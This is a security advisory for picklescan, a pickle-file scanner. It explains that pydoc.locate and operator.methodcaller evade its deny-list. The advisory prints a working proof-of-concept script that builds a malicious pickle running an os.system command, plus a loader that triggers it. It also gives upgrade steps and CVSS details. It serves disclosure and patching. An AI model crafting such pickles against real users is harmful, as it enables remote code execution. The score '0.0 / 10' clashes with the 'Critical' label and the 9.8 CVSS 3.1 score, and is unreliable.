Skip to content

GHSA-84r2-jw7c-4r5q CVE-2025-71320 PYSEC-2026-1785

Picklescan has Incomplete List of Disallowed Inputs

Critical PyPI
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.82%
Chance of exploitation in the next 30 days. Higher than 57.35% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-184 Incomplete List of Disallowed Inputs
Fix
0.0.33
Upgrade picklescan to this version or later

Description

Summary

Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly

  • pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module).
  • operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.

Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.

PoC

use the provided script to create a malicious pickle file

import pickle
import pydoc
import operator
import os

class ModuleLocator:
    def __init__(self, module_name):
        self.module_name = module_name
        
    def __reduce__(self):
        return (pydoc.locate, (self.module_name,))

class RCEPayload:
    def __reduce__(self):
        
        cmd = "notepad" #put your payload here
        
        mc = operator.methodcaller("system", cmd)
        return (mc, (ModuleLocator("os"),))

def generate_exploit():
    payload = RCEPayload()
    
    try:
        with open("bypass.pkl", "wb") as f:
            f.write(pickle.dumps(payload))
        print("File 'bypass.pkl' created.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    generate_exploit()

The generated payload will not be flagged as dangerous by picklescan but is actually malicious.

import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))

Script to open the pickle file, demonstrating impact

<img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" />

Remediation

The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.

Affected versions

PyPI

PackageVulnerableFixed in
picklescan
< 0.0.33
0.0.33

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

picklescan PyPI → 0.0.33

pip
pip install --upgrade "picklescan>=0.0.33"
poetry
poetry add "picklescan>=0.0.33"
uv
uv add "picklescan>=0.0.33"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Proof of concept

CVSS 3.1 9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-184: Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

How to prevent it
  • Implementation: Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-g38g-8gr9-h9xp
PickleScan has multiple stdlib modules with direct RCE not in blocklist
Critical Also affects picklescan
GHSA-vvpj-8cmc-gx39
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
Critical Also affects picklescan
GHSA-7wx9-6375-f5wh
PickleScan's profile.run blocklist mismatch allows exec() bypass
Critical Also affects picklescan
GHSA-97f8-7cmv-76j2
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
High Also affects picklescan
GHSA-m7j5-r2p5-c39r
picklescan vulnerable to arbitrary file create using logging.FileHandler
Medium Also affects picklescan
GHSA-9m3x-qqw2-h32h
picklescan missing detection by simple obfuscation of a `builtins.eval` call
Critical Also affects picklescan
GHSA-9726-w42j-3qjr
picklescan has Arbitrary file read using `io.FileIO`
High Also affects picklescan
GHSA-46h3-79wf-xr6c
Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
High Also affects picklescan
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor